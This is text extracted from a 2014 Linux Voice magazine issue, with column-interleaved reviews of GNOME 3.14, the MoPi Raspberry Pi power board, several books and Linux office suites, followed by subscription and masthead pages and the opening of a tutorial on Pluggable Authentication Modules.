Fun, easy to use and endless
Hover also has five touch points: one in the centre of the possibilities to hack. This board has
board and the other four at the north, east, south and so much potential for hacking fun.
west edges of the board. This gives us nine methods of
control for this small board.
www.linuxvoice.com 51
REVIEWS GNOME 3.14
GNOME 3.14
Will the eighth revision of Gnome 3 finally convince Mike Saunders
to switch his desktop, or is it too little, too late?
G
nome 3, with its controversial redesign, arrived
DATA back in April 2011. There was a huge amount
Web
of uproar at the time, with many users
www.gnome.org threatening to switch to Xfce, others forking the
Developer Gnome 2.x codebase into the Mate desktop, and
The Gnome Project flamewars aplenty on the internet. Here we are three
Licence years – and eight revisions – later, so what has
GPL and LGPL
changed since those days? Has Gnome 3 finally been
fleshed out into a usable desktop for everyone?
We’d say: almost. Many of us on Team LV weren’t
fans of Gnome 3 when it first arrived, and the way
developers had removed features en masse left us
with deeply furrowed brows. Sure, there’s an argument
that too many features and options can leave users gnome-tweak-tool is still a lifesaver if you want to
confused, and when people at work end up tweaking customise the desktop beyond some very limited options.
every minutia of their desktop it can be a nightmare
for support staff. So Gnome 3’s position was: fewer desktop has seen over 28,000 source code changes
options, but sensible defaults. from 871 developers. Some of the changes are
cosmetic, but others go deeper.
Sticking to the plan For instance: new animations and multi-touch
And you know, we do admire the resolve of the Gnome gestures have been added; there’s a new default Gtk
team in this respect. They’ve taken a huge amount of theme, and the Evince document viewer has seen an
flak in recent years, including from us, but they’ve interface overhaul. More usefully, there’s now support
battled on, refined, tweaked, and even made for captive portals (so when you connect to a Wi-Fi
concessions (such as the Classic mode, which hotspot that requires web-based authentication, the
provides a slightly more traditional desktop). Some relevant page will be displayed automatically), while
distros have stuck with it through the most difficult the Photos app supports Google/Picasa integration.
times, and the desktop still has an army of fans today. The Maps program has received some updates,
So, what’s new in Gnome 3.14? At the time of such as geolocation support, but this appeared to
Weather has a decent shot
of guessing our location, writing, it was too new to be included in any major be broken in our testing: despite our best efforts,
whereas Maps thinks we’re distro release – but fortunately, a Fedora live image it consistently showed us as being in Manhattan,
in Manhattan for some gave us the chance to explore it. And without doubt, rather than our real location of Bavaria. The revamped
reason. Gnome 3.14 is the best version yet: since 3.12 the Weather tool didn’t suffer the same problem, though,
and managed to work out (roughly) where we are.
Overall, the updates and dabs of polish are all
welcome, and we could see ourselves using Gnome
3.14 as our daily desktop. But some things still irk
us, such as the need to install gnome-tweak-tool to
customise parts of the desktop’s appearance, and
the forced miminalism in some of the programs (too
often we come across an unfamiliar toolbar button
that doesn’t have a tooltip, making it all guesswork).
It’s much better than it used to be, for sure, but after
spending a few days in Gnome 3.14 we still had a
rather claustrophobic feeling. But the developers are
listening, and that’s what matters most.
LINUX VOICE VERDICT
The best release yet of the 3.x series,
with welcome improvements – it still
feels restrictive in places though.
52 www.linuxvoice.com
MOPI REVIEWS
MoPi
When Captain Kirk asks Scotty for “More power” he probably use MoPi.
Les Pounder is “giving her all she’s got Captain!”
T
he Raspberry Pi has become the go-to piece
of kit for a multitude of projects both indoors
and outdoors. While we are blessed with
power supplies indoors, out in the great wilderness
there are a shortage of plug sockets located in trees
or clouds. So when we need to use a Pi outside, the
normal route is to use a mobile battery. These are
great but rarely tell us when the battery is going to die.
MoPi by GATE is a board of many talents. The small
board attaches to the GPIO pins of the Raspberry Pi
and can be connected to multiple sources of power
from a simple 9V battery to a bespoke LiPo battery
pack, and these power sources are hot-swappable,
enabling replacement power while in the field.
The flexibility offered by MoPi is immense. You can
attach any type of battery to the board, as long as it
supplies at least 6V and at most 20V of power (the
regulators built in to MoPi convert the power to a
more Pi-friendly level). MoPi can even be attached to
MoPi fits neatly on top of the Raspberry Pi and is small enough to work with existing
an external battery source while your Pi is attached to
cases such as the Pibow from Pimoroni.
the mains at the same time, so when the mains
supply goes off, the battery will automatically kick in
and power your Pi. Used like this, it’s a small and a much reduced power consumption rate, MoPi claim
clever UPS for your Pi. that the board can be powered by the same AA DATA
batteries for double the time of a Model B.
Web
Power management The MoPi is at home both indoors and out. Indoor https://pi.gate.ac.uk/
MoPi is not just a board – it is also a suite of software applications include using the MoPi as a UPS for a pages/mopi.html
that can be calibrated to your exact needs, with many time-lapse camera or web server, keeping the system Developer
types of battery covered in their various running until the mains power can be restored. GATE/Sheffield
Pi-Tronics
configurations. For example, a Raspberry Pi Model B Outdoors, MoPi has been used to power a home brew
Price
powered by eight AA Duracell batteries and with Go Pro project and, using the official Raspberry Pi £25
attached keyboard, mouse and Ethernet can run for camera and a wide-angle lens, to capture the action of
nine hours and 31 minutes. With a Wi-Fi dongle a snowboarding session and a bike ride. The MoPi
attached, this will drop by half to around four hours 45 comes with a simple micro switch to turn the board
minutes, which is still impressive considering Wi-Fi is on and off in a graceful manner similar to a laptop
very power hungry. Using a Model A board, which has power system. A built in RGB LED provides a visual
indication of your power sources, with blue indicating
a full power source, green an acceptable rate of power
and red for when batteries are starting to run out, and
the board also indicates which power source is
running out by flashing a yellow LED next to the input.
MoPi comes in two versions: a low-profile board
with no GPIO passthrough, and a stackable board that
enables other boards to be used on the GPIO. It’s the
Swiss Army knife of Raspberry Pi power and a must
for any outdoor or power-critical projects.
LINUX VOICE VERDICT
A small board with big possibilities.
Launch it into space, send it under
the sea, or photograph cress.
MoPi comes with a suite of config tools in an easy-to-use
menu, so information is just a few key presses away.
www.linuxvoice.com 53
REVIEWS BOOKS
What if?
Andrew Gregory gets lost in a world of made-up science.
W
e’re huge fans of Randall almost exactly 1,000 miles. It would have
Munroe’s XKCD web comic here been a lot easier for Munroe to leave stuff
at Linux Voice Mansions. From like this out, but he obviously loves what he’s
Richard Stallman fighting off Microsoft doing, and this shines out of every page.
assassins with a samurai sword to some What If is perfect for the dreamers who
simple advice about password strength, the got bored with science lessons at school and
comics are informative, witty and stylish. instead wanted to know the answers to
Because of that, we were expecting What questions that really matter: What would
If: Serious Scientific Answers to Absurd happen if the sun went out? What if the earth
Hypothetical Questions to be informative, stopped spinning? Reading this book is like
witty and stylish also, and by golly, it is. The being a child again, asking question after
hypothetical questions, all submitted by question. It won’t help you pass A-level
XKCD readers, are daft (sample: “In the chemistry, but it will make you want to know
movie 300 they shoot arrows seemingly blot more (which is even better).
out the sun. Is this possible, and how many
arrows would it take?”), but all are answered
seriously, and that’s where the appeal is. LINUX VOICE VERDICT
Sometimes the answers are daft too – we Author Randall Munroe
learn that in the time it takes the scientists Publisher John Murray
ISBN 978-84854-957-9 The UK edition contains a foreword praising
on board the ISS to sing the Proclaimers’ I’m
Price £14.99
Gonna Be (the last line of which is “just to be our ludicrous mish-mash of imperial and metric
Bonkers, brilliant and beautiful. Buy it for the measurements: “Unit conversion errors have
the man who walked 1,000 miles to fall smartarse in your life.
caused us to lose space probes once in a while.
down at your door”), they would have
But isn’t that a small price to pay for silliness?”
travelled, by extraordinary coincidence,
Consent of the networked
Ben Everard is not an IP address. He is a free human being.
W
hen the web took off, it created the middle with no representatives to push
a vacuum. It was an open for our interests.
space beyond the reach of any The solution she presents is good-old-
government. For a few glorious years the fashioned activism. The same approach that
web was free. Then it became too popular. forced companies to update their labour
The corporations rolled in. Facebook, laws and environmental procedures, she
Google, Yahoo, Twitter and more now claims, can be used to make them respect
control the space where we spend our our digital rights. This seems antiquated
digital lives. They get to make the rules that compared to the people who propose that
we have to follow, but who elected them digital freedoms can be secured with code,
leaders of cyberspace? Did we unknowingly but MacKinnon presents a compelling
create monarchs of digital kingdoms when argument for her case.
we signed up for their services? Should they
be held to account for the rules they create?
These questions are becoming ever more LINUX VOICE VERDICT
important. Consent of the Networked Author Rebecca MacKinnon
examines what’s happened to our basic Publisher Basic Books
ISBN 978-0465063758
rights in the digital realm by drawing on a
Price £11.99
history of web activism. MacKinnon looks at
A call to arms for the networked generation, but
how the battle between corporations and it may have come too late. Can the digital world be saved or has it been
governments over the control of the users is irrevocably taken over by governments and
being fought, and how people are caught in corporations? Answers on a postcard!
54 www.linuxvoice.com
REVIEWS BOOKS
AngularJS ALSO RELEASED…
Ben Everard investigates yet another web app framework.
T
hese days, it seems like everything
is a web app. Email, calendars,
even whole office suites run in
browsers. There are myriad frameworks
The thornback
and libraries for managing this, and
cowfish, native
AngularJS is one of the latest.
to the Western
This book, then, is an introduction to the Indo-Pacific region
world of Angular written for web Number
is one of the most
developers. Readers are expected to crunching on
angular animals in
already understand HTML, CSS, JavaScript the CLI.
nature.
and the DOM and be generally familiar Data Science at the Command Line
with the process of creating a web app, so which some readers will like, but others Over the last year or so we’ve started using the
it’s not great for someone embarking on may find themselves wishing the authors command line more and more, so we can
their first project. dwelt a little more in areas, and gave fuller understand its renewed interest. This is a book
for data scientists, and it promises to teach
At just 175 pages, it’s quite a thin book explanations of some things.
you how to grab, process and explore data, all
by O’Reilly standards, but it covers through the humble CLI.
everything an experienced web developer LINUX VOICE VERDICT
needs to know to get started with Author Brad Green & Syam Seshadri
AngularJS. It covers how AngularJS Publisher O’Reilly
works, how to set up a development ISBN 978-1449344856
Price £15.99
environment and integrating test cases.
A quick introduction into AngularJS for
Everything is demonstrated with an readers with web development experience.
example, and the book is chock-full of
code. The book does move at a fast pace,
Mike Barela is
one of the Trinket
documentation
Becoming Functional authors.
Getting Started with Adafruit Trinket
Graham Morrison’s mother wished he’d only read this as a teenager. The Trinket is a low-cost alternative to the low-
cost Arduino. That means it’s even more ideal
F
for projects that may go awry, and because it’s
unctional programming is often also compatible with the Arduino, you can
misunderstood. It’s a little like trying upgrade at any point. All that’s needed is a
to fathom object orientation when handy guide to getting started…
you’ve only ever written procedures. Even
if you learn the concepts, it’s still difficult
to break the habits of a lifetime. But
Not a bad approach
‘functional’ is becoming more than just a to functional
Computer Science anachronism, and it’s programming, but
being used by lots of the Groovy and Scala we’d like to see
cool kids. more languages.
This is a relatively small book that
attempts to reprogram imperative where functional programming might be
programmers, turning us from monsters most useful. But it wasn’t enough to move
who think in return values into the us from our wicked procedural ways.
heavenly apostles of Lambda and
Closures. And it does this with a bit of role LINUX VOICE VERDICT The InfoSec Handbook
play. You’ve somehow landed a new job at Author Joshua Backfield In the near future, we’d guess almost
a company, and despite knowing nothing Publisher O’Reilly everything is going to have its own IP address.
ISBN 978-1-449-36817-3 Which means that a career in information
about functional programming, it’s your
Price £19.50 security is probably as close to a sure thing as
task to refactor all that nasty Java 7 into
We think O’Reilly should have put a unicorn betting on security mechanisms getting
its functional equivalents. on the cover instead. hacked. This book looks like a great place to
This concept works quite well, and it start – and the ebook is completely free.
does leave you with an impression of
www.linuxvoice.com 55
GROUP TEST OFFICE SOFTWARE
OFFICE
SOFTWARE
GROUP TEST
Ben Everard now has an office, so sets off in search
of some office software.
On Test Office Suites
O
ffice suite is an odd term, include some form of visual
Libre Office since it seems to assume database tool.
URL www.libreoffice.org that everyone does the For the purposes of this review,
VERSION 4.3 same thing in an office. It obviously we’ll focus most strongly on the
LICENCE LGPL/MPL can’t include all software that is word processor, spreadsheet,
As the dominant office suite for Linux, needed by anyone in an office (after presentation tool and diagramming
LibreOffice sets the standard.
all, this author has used Steam in software, since in our experience,
his office). Similarly, it can’t be these are by far the most used part
Apache OpenOffice software that is only needed in an of most office suites.
URL www.openoffice.org office, because for many people, Good office software should
VERSION 4.1 word processors are only needed have a shallow learning curve. It
LICENCE Apache for personal work. It can’t even be should be easy for a beginner to get
Can Apache rejuvenate this suite now it’s software that is used the majority started, yet have plenty of power for
been released from Oracle’s clutches? of the time in an office since, many advanced users. Above all, a good
Linux Voice readers probably spend office suite should make a typical
Calligra more office time using a text editor
or IDE than a word processor, but
office worker more productive.
In other words, it shouldn’t be
URL www.calligra.org
that doesn’t mean Vi should be frustrating to use – it should just
VERSION 2.8
LICENCE GPL considered part of an office suite. get out of the way and let you do
Qt’s main contender is getting closer to However, rather than there being your work – and it mustn’t lose your
challenging the status quo. any logic to what an office suite is, work in the event of a crash.
over the past 30 years, a certain It should also let you collaborate
consensus has built up on what to with people using other software.
Gnome Office expect from one. This means it must be able to
URL www.gnome.com/gnome-office The core of an office suite is open Microsoft Office documents.
VERSION various undoubtedly a word processor While we may wish that this wasn’t
LICENCE GPL
and spreadsheet. Without these, necessary and that the world used
Not really a suite, but a collection of
it’s hard to claim that a particular open formats, the fact is that the
applications from the Gnome project.
bundle of software is an office majority of people using office
Kingsoft WPS
URL www.wps.com “A certain consensus has built up on
VERSION Alpha 15
LICENCE Proprietary
what to expect from an office suite.”
A newcomer to the Linux world with an
excellent interface. suite. There is generally some suites are using Microsoft Office.
form of vector drawing ability This also means that it must be
Softmaker FreeOffice (often included for its ability to able to use Open Document Format
URL www.freeoffice.com create diagrams rather than pretty files. While these are no where near
VERSION 690 pictures), and a presentation tool. as prevalent as Microsoft’s format,
LICENCE Proprietary Beyond this, it becomes a little they are becoming more common
Fast, lightweight, and with excellent less standard. Some suites include especially now the UK government
document format support. email, contacts management and has committed to using them as
and calendar software. Others standard.
56 www.linuxvoice.com
OFFICE SOFTWARE GROUP TEST
LibreOffice
The office suite you probably already have installed.
L
ibreOffice is the default office suite for
the vast majority of Linux distros, but
it hasn’t been for long. Up until the
start of 2011, most distros came with
OpenOffice.org, but LibreOffice forked from
this due to concerns about the way the
project was being led. Most distros very
quickly adopted LibreOffice even though, at
that point, the two suites were very similar.
LibreOffice consists of six applications –
Writer, Calc, Draw, Impress, Math and Base
– which are a word processor, spreadsheet,
diagramming tool, presentation tool, maths
formula editor and database respectively.
One area that LibreOffice has rapidly
improved is support for MS Office files.
Most MS Office files open, but complicated
formatting can be lost. This becomes less of
an issue with each new release.
Impress’s controls are scattered about the window, and the sidebars disappear on some tabs.
Easy interface
The layout of Writer is based around a tool that’s improved the most under the user interface in LibreOffice. It’s confusing
menubar and sidebar. Together, these give LibreOffice banner is Calc. This is now faster, and unintuitive. It’s possible to create good
plenty of access to features, while still supports larger spreadsheets and has more presentations using Impress, but doing so
providing enough screen space to display advanced formatting options. It also isn’t a nice experience.
the document. The sidebar is quite a new supports GPU acceleration, which allows
addition, and it doesn’t feel like the choice of faster visualisation of real-time data. This is VERDICT
features on it is optimal just yet, as there’s most commonly shown-off as a way of LibreOffice is the default
office suite in most Linux
no clear split on what goes in the top bar showing stock-market data, and will distributions for a good
and what goes in the sidebar. In fact, most probably remain a novelty for most users. reason.
controls are simply duplicated on both. The Impress is the one exception to the good
Apache OpenOffice
The veteran Linux office suite.
W
hen LibreOffice split from OpenOffice. This flow of code will probably support for Microsoft Office files, and a better
OpenOffice.org, Oracle handed the reduce as the two code bases diverge status bar.
project over to the Apache because it will become harder and harder to OpenOffice has become a usurped
foundation, and it’s now known simply as translate code across. product. If you find yourself with a system
Apache OpenOffice. The biggest problem with OpenOffice is that has OpenOffice, you probably won’t have
OpenOffice is at a disadvantage compared simply that LibreOffice is just a little better too many problems, but there’s little reason
with LibreOffice, because it uses a more than it in almost every area. There’s not so to actually install it if you have a choice.
restrictive licence than LibreOffice (The much different that you would immediately Unless OpenOffice can find a niche, it’s likely
Apache 2 licence rather than the LGPL). notice, but as you use it, you become aware to slowly fade into obscurity.
This means that LibreOffice can take any of little things that just make the experience
new code from OpenOffice, but OpenOffice nicer. For example, LibreOffice uses standard
can’t take code from LibreOffice (unless of GTK dialog boxes for opening and closing VERDICT
The once mighty office
course the original author agrees to license files, whereas OpenOffice uses custom-built suite is struggling to find
it under the Apache Licence). For example, ones that don’t fit in with the look and feel of its purpose.
LibreOffice acquired its sidebar from the rest of the desktop. LibreOffice has better
www.linuxvoice.com 57
GROUP TEST OFFICE SOFTWARE
Calligra
More applications doesn’t mean more productivity
T
here must be something about bar is minimal, and almost all activity
office suites that makes people takes place in the sidebar. The tabs
want to fork them. Calligra split are clear and well labelled. In some
from KOffice in 2010 and quickly ways, it’s a little like a vertical version of
became the more popular of the two. Microsoft’s ribbon interface. It can take
KOffice stopped development shortly a little while to get used to the sidebar
afterwards and now Calligra is the only having all of the controls if you’re used
major open source office suite based to looking at the top of the screen,
on Qt. Traditionally, this has meant it’s but once you’ve used it for a while, it
the office suite of hardcore KDE distros, becomes second-nature, and it makes
but perhaps we’ll see it gain some good use of the available screen space.
popularity on LXQt, the relatively new The sidebar seems particularly well
desktop that aims to provide a fast suited to Words and Stage, but it doesn’t Calligra writer keeps the features in a well-ordered sidebar,
working environment using Qt widgets. work as well in Sheets. Perhaps this is and leaves the writing area distraction-free.
Calligra is made up of Words because of an inherent difference in the
(wordprocessor), Sheets (spreadsheet), way users interact with a spreadsheet issue. We would struggle to describe
Stage (presentation tool), Flow or perhaps the Sheets interface just the interface of Stage (the presentation
(diagramming tool), Author (ebook needs a little refinement. tool) in positive terms, but it is probably
editor), Karbon (vector graphics Words and Sheets both epitomise the least bad open source presentation
editor), Kexi (a database tool), Plan (an option.
organisational tool) and BrainDump.
That’s a lot of applications, but much “Once you’ve used the Calligra Krita is the shining jewel in Calligra’s
crown. It’s an excellent digital drawing
of it will be irrelevant to most users. sidebar interface for a while, tool. However, it’s not for diagramming,
it becomes second nature”
Good software is more about quality but creating art and, as such, it falls too
than quantity. far outside of our definition of an office
Calligra supports ODF files very well. suite for us to count it here.
MS Office formats are also supported the term ‘alright’. If your needs are fairly The other pieces of graphics
quite well for import, but there’s no basic, both will probably fulfill them. software in the suite are also good.
option to save in the most recent However, neither one really shines, and Flow is a great tool for creating
formats (DOCX etc). power users will probably find things symbols-based diagrams. It’s probably
Like LibreOffice and OpenOffice, missing. Stability has long been a the best such tool available for Linux,
Calligra’s interface is based on a menu problem with Calligra, and it seems to and it comes with a huge library of
bar plus sidebar. However, the menu be improving, but it’s still an occasional artwork to include in your diagrams.
Karbon, on the other hand, is a more
general-purpose vector graphics tool.
If you only have light office needs,
and want to keep your desktop Qt-only,
then Calligra will give you what you
want. However, if you’re using an office
suite regularly, you’ll probably find you
need to move up to something a little
more capable.
Calligra has the potential to be a
great office suite, but it’s still quite a
way off that right now. New releases
are coming out every six months at the
moment, and, if the team can continue
the current pace of development, it will
be a real contender in a few years.
VERDICT
An useful interface with
potential, but lacking in
power for now.
Calligra’s presentation application, Stage, includes a few slide backgrounds aimed at
Linux users including penguins (shown here) and KDE artwork.
58 www.linuxvoice.com
OFFICE SOFTWARE GROUP TEST
Gnome Office Databases
This doesn’t mean a desk set up in the garden
Because spreadsheets can’t
do everything.
W
e haven’t included database tools
in our definition of office suite
reviews because (in our opinion),
they’re not part of regular office software.
They’re more like IDEs for simple data-driven
software than the rest of the office suite.
However, three of the suites here (Calligra,
LibreOffice and Gnome Office) do include
graphical database tools.
Kexi (from Calligra) has an excellent user
interface that’s easy to navigate and is
just generally pleasant to use. It makes it
easy to create tables, queries, reports and
forms. LibreOffice’s Base has roughly similar
capabilities to Kexi, but isn’t quite as nice to
work with. Glom from Gnome Office is the
least well known of the three, and it’s also the
least powerful. It works for simple tasks, but
AbiWord’s simplicity is great if you don’t need any complex word processing features. doesn’t have the power of Kexi or Base.
The real problem isn’t with any of these
T
here isn’t actually an official probably the best looking of all the programs, but with the idea behind the genre.
Gnome Office. However, there are diagramming tools, and it’s really easy to To use any of these, you have to know how to
a selection of Gnome applications use, but it loses out to Flow when it comes model data in a relational database, and most
that fulfill the role usually taken by an to features – particularly the range of people who know how to do this are more
office suite. Colloquially, these are often symbols available. Similarly, Inkscape is a comfortable using general-purpose databases
known as Gnome Office. This software is: good vector graphics tools, but isn’t well like MariaDB or Postgres. There’s also the
AbiWord (word processor), Evince suited to low-powered machines. issue that these pieces of software run on the
(document viewer), Evolution (email client), desktop of a single computer, and this isn’t the
Gnumeric (spread sheet), Inkscape (vector A mixed bag most useful way of running database-driven
graphics), GnuCash (accounting) and Dia. What this all means is that someone software. Usually you want some form of
The lack of a suite also means lack of a looking for a good office suite for a networked client-server model. Something like
single vision. AbiWord and Gnumeric have low-performance computer will need to Drupal is far more useful in practice, though it
carved out a niche as good tools for find a different graphics tool, yet someone is more complex to use.
low-resource computers. This was looking for a fully-featured office suite will This leaves graphical database tools with
particularly true a few years ago when have to find a different word processor a very small target audience. Should you find
OpenOffice.org was a bit of a resource- and spreadsheet. If you’re happy to pick yourself a member of this exclusive group,
hogging snail. Now, both Open and and choose what’s best for you, that’s fine. we’d recommend Kexi, but only marginally.
LibreOffice have improved significantly in Supposedly, Gnome’s getting a
this respect, so AbiWord and Gnumeric presentation tool called Ease. However,
don’t enjoy as big an advantage as they development seems to have stalled about
did. However, the Gnome options will four years ago. In principle, you could
probably always be faster and have lower deliver a PDF presentation using Evince (a
footprints because they don’t try to suitably determined user could probably
include as much functionality, so they’re even create the presentation in AbiWord),
still our go-to office programs for slim but in reality, if you need to give a
computers. Of course, the other side of presentation, you’re going to be better off
this is that power users may find that they using a different office suite.
don’t have everything they’re used to on
more heavyweight tools. VERDICT
Dia (the diagramming software), hasn’t A disparate collection
with some real quality, but
aimed for low-resource usage. It’s tried to not exactly what you’d Kexi’s form editor enables you to drag and drop a
carve a niche as the best diagramming call integrated. form for entering information into your database.
software, and it’s done a good job at it. It’s
www.linuxvoice.com 59
GROUP TEST OFFICE SOFTWARE
WPS vs SoftMaker
The battle of the proprietary suites.
K
ingsoft’s WPS and Softmaker’s document format files. It handles
Free Office are the two closed- Microsoft’s DOC and DOCX excellently
source office suites we’re (Kingsoft claims it’s 100% compatible,
tesing. Take a deep breath. and though we haven’t come across a
Until recently, WPS was known as document that doesn’t render properly,
Kingsoft FreeOffice, and was available we’re still a little skeptical that it will
for Windows. Linux support is new never fail). In addition, it has its own
– so new it’s only considered alpha proprietary format.
quality – but we decided to include it Once you get your head around it,
both because it’s interesting software, the ribbon-style interface is nice to use,
and because we think it’s always though you can switch it to a classic
worth comparing free software with plain menu bar if you don’t get on with
proprietary software to see just how the ribbon. On Windows, WPS comes
they stack up. in free and paid-for versions, and the
WPS is very popular in China, but not paid version includes support for VBA FreeOffice isn’t the best-looking suite, but it is easy to use.
as well known in the English speaking macros. Currently, this isn’t available on
world. Although the Linux version is Linux, but perhaps, when it comes out OOXML) files. This alone is enough for
new, it is slowly starting to attract of alpha, we’ll finally have the ability to it to be unsuitable for most users. If you
some interest. The only major distro run these on Linux. pay though, you get excellent support
to support it by default is Ubuntu Kylin, for Microsoft Office files. Both versions
which is Canonical’s distro for the Proprietary polish support ODF files for interacting with
Chinese market. A few smaller distros, WPS is the nicest office suite we used open source office suites.
such as Makulu, also come with WPS. If in terms of user experience. However SoftMaker’s interface in all three
it’s not in your distro’s repositories, you – and this is a big issue – it doesn’t applications (Presentations, PlanMaker –
can get Debs and RPMs from http:// play that nicely with other Linux office the spreadsheet – and TextMaker) looks
wps-community.org/download.html. suites, so think carefully about your quite dated, though is clear and easy
WPS consists of a word processor, document format lock-in if you use this, to use. The layout seems more geared
spreadsheet and presentation tool. particularly if there’s complex
While it doesn’t have diagramming
too, the drawing tools inside the word
formatting or diagrams that may cause
problems with DOCX import in other “Kingsoft’s WPS is the nicest
processor are the most advanced of suites. Of course, if your documents are office suite we used in terms
of user experience.”
any we’ve looked at here. However, already locked into a proprietary format,
because it’s not a dedicated graphics this may be less of a concern.
tool, it doesn’t have the ability to save SoftMaker has a zero-cost version
it as an image (other than PDF). This is (FreeOffice) and a paid version (Office) towards casual users, and most of
also true of SoftMaker Office. with more features. The biggest the more powerful features are hidden
Unlike the other office suites we’ve feature missing from the free version away in menus. As so often happens,
looked at, WPS can’t open open is the ability to save DOCX (and other the simple interface sits atop fast and
lightweight software.
As the only paid-for option on test,
SoftMaker Office needs something to
justify its price, and the only area in
which it stands out is compatibility – it
rubs along very nicely indeed with MS
Office formats (better than the open-
source options) and ODT files. Whether
this is enough to justify the £55 price
tag will depend on how many problems
you encounter with document formats.
VERDICT
WPS: Looks good, SOFTMAKER: Fast and
solid DOCX support, easy to use with
but can’t handle excellent document
ODF files. compatibility.
WPS will feel familiar for recent converts from Microsoft Office.
60 www.linuxvoice.com
OFFICE SOFTWARE GROUP TEST
OUR VERDICT
Office Suites
I
f we were to build our favourite Linux Voice readers who aren’t
open source office suite, it bothered by closed file format, it’s
would be Writer and Calc from an excellent suite, especially for
LibreOffice, Sheets and Flow from anyone used to Microsoft Office.
Calligra and Inkscape from Gnome. Calligra and OpenOffice both
However, this is wimping out of struggle, not because they’re bad, LibreOffice’s Calc has everything you could need in a spreadsheet
making a decision (and would also but because they don’t excel in (provided you don’t need VBA support).
leave us with a horribly inconsistent any unique way, so there’s little
user experience). to recommend them over the
LibreOffice wins because it’s
the best all-rounder. Under the
alternatives. If you like to stick to a
pure Qt environment, then Calligra
1st LibreOffice
Licence LGPL/MPL Version 4.3
stewardship of The Document does the job. If you have a love of
Foundation, it’s come on leaps all things Apache, then OpenOffice www.libreoffice.org
and bounds since the split from functions as a perfectly alright An excellent standard bearer for free software, and making
OpenOffice and shows no signs of office suite. Still, given the choice, giant strides with every release.
slowing down. we’d recommend using something
WPS is great for Linux users in a different. Calligra, however, is under 2nd WPS
“LibreOffice has come on in leaps and
Licence Proprietary Version Alpha 15
bounds since the split from OpenOffice.”
www.wps.com
Brilliant software, but let down by the closed source and lack of
ability to open ODT files.
Windows world. We wish everyone more active development, so
would switch to the open document stands a better chance of rising up 3rd Softmaker FreeOffice
formats for their data – perhaps the rankings in the future. Licence Proprietary Version 690
one day they will – but the reality We’re a little hesitant to refer to
is that many people have to work office suites on Linux as exciting, www.freeoffice.com
Linux users working with lots of Microsoft Office files may find
alongside people using Windows. but in the last couple of years,
this suite is worth the money.
The two big concerns about WPS the choices for Linux users have
is that it’s closed source and that improved significantly, and the pace
it doesn’t support ODF files. These of change is faster now than it has 4th Calligra
are both very troubling for anyone been for a long time. Over the next Licence GPL Version 2.8
who cares about freedom. However, few years, things are going to get
www.calligra.org
if you’re part of the minority of even better.
The user interface looks promising, but it needs more work
before it’s a serious contender.
YOU MAY ALSO WISH TO TRY… 5th Gnome
There’s no need to use an office handled by most databases, but Licence GPL Version various
suite at all really. For creating again, this isn’t going to be as user
documents, you could use a text friendly as a spreadsheet. www.gnome.com/gnome-office
editor and some form of document True to the spirit of the age, Some good software, but it lacks a central vision to make it a
layout engine. Markdown is great there are also a few options in the cohesive suite.
for documentation, while Latex cloud. Google Docs is the most
works well for more complicated famous of these, but Microsoft
stuff. True Unix lovers may contend Office Live can also be useful when 6th OpenOffice
that you can get by perfectly well you’ve got a DOCX that just won’t Licence Apache Version 4.1
without spreadsheets by using open properly anywhere else. For
comma separated value files the privacy-conscious, OpenCloud www.openoffice.org
(CSVs), and command line tools, also has some office facilities The slow pace of development has allowed other suites to leave
but we’d only recommend that for including the ability to do some OpenOffice behind.
masochists. CSV files can also be word processing.
www.linuxvoice.com 61
SUBSCRIBE
SUBSCRIBE shop.linuxvoice.com
Introducing Linux Voice,
the magazine that:
Gives 50% of its profits
back to Free Software
Licenses its content
CC-BY-SA within 9 months
12-month subs prices
UK – £55
Europe – £85
US/Canada – £95
ROW – £99
7-month subs prices DIGITAL
UK – £38 SUBSCRIPTION
Europe – £53
US/Canada – £57
ONLY £38
ROW – £60
Get 116 pages Access our Save money on
of tutorials, rapidly growing the shop price
features, interviews back-issues archive and get each issue
and reviews – all DRM-free and delivered to
every month ready to download your door
Payment is in Pounds Sterling. 12-month subscribers will receive 12 issues of Linux Voice a year. 7-month
subscribers will receive 7 issue of Linux Voice. If you are dissatisfied in any way you can write to us to cancel your
subscription at subscriptions@linuxvoice.com and we will refund you for all unmailed issues.
62 www.linuxvoice.com
NEXT MONTH
NEXT MONTH IN
ON SALE EVEN MORE AWESOME!
THURSDAY
20 NOVEMBER Inside the FSF
The Free Software
Foundation is the
moral compass of
Free Software –
unchanging,
unbending, and
dedicated to
protecting freedom.
Scribus
Join us as we
attempt to lay out a
page of Linux Voice
in Scribus. It should
be easy – and we’re
going to find out
together whether
it’s possible.
Patents
LINUX VS WINDOWS We thought the
beast was slain, but
software patents
Sometimes we forget just how hard continue to blight
Windows fails. Let’s remind ourselves with innovation. Here’s
everything you need
a completely unbiased look at the latest to know about the
operating system from Microsoft. current state of play.
LINUX VOICE IS BROUGHT TO YOU BY
Editor Graham Morrison Editorial consultant Nick Veitch through the use of advice in this magazine. Copyright Linux is a trademark of Linus
graham@linuxvoice.com nick@linuxvoice.com Experiment with Linux at your own risk! Torvalds, and is used with permission.
Deputy editor Andrew Gregory Distributed by Marketforce (UK) Ltd, Blue Anything in this magazine may not be
andrew@linuxvoice.com All code printed in this magazine is licensed Fin Building, 110 Southwark Street, London, reproduced without permission of the editor,
Technical editor Ben Everard under the GNU GPLv3 SE1 0SU until June 2015 when all content (including
ben@linuxvoice.com Tel: +44 (0) 20 3148 3300 images) is re-licensed CC-BY-SA.
Editor at large Mike Saunders Printed in the UK by ©Linux Voice Ltd 2014
mike@linuxvoice.com Acorn Web Offset Ltd Circulation Marketing by Intermedia Brand ISSN 2054-3778
Creative director Stacey Black Marketing Ltd, registered office North Quay
stacey@linuxvoice.com Disclaimer We accept no liability for any House, Sutton Harbour, Plymouth PL4 0RA Subscribe: shop.linuxvoice.com
loss of data or damage to your hardware Tel: 01737 852166 subscriptions@linuxvoice.com
www.linuxvoice.com
CORETECHNOLOGY
CORE
A veteran Unix and Linux
enthusiast, Chris Brown has
written and delivered open
source training from New Delhi
to San Francisco, though not on
TECHNOLOGY
the same day. Dive under the skin of your Linux system to find out what really makes it tick.
PAM: Pluggable Authentication Modules
Take control of your system’s security policy by mastering the minutiae of PAM.
P
luggable Authentication Modules By the way, PAM is entirely in userspace. you’re the classic command line login
(known to its friends as PAM) is one There are no PAM kernel modules. program. Through pamlib, you call the
of those technologies that most PAM modules in your auth stack, in order.
users are entirely unaware of, like the engine PAM in a paragraph You don’t even know what those modules
management computer in their Volvo. Here’s how it works. A program that wants are; this information is held in an external
Basically, PAM provides a framework within to use PAM links to a library called libpam. configuration file, which pamlib knows
which an application can assemble one or This is probably the least visible part of PAM about, but you don’t. Each PAM module
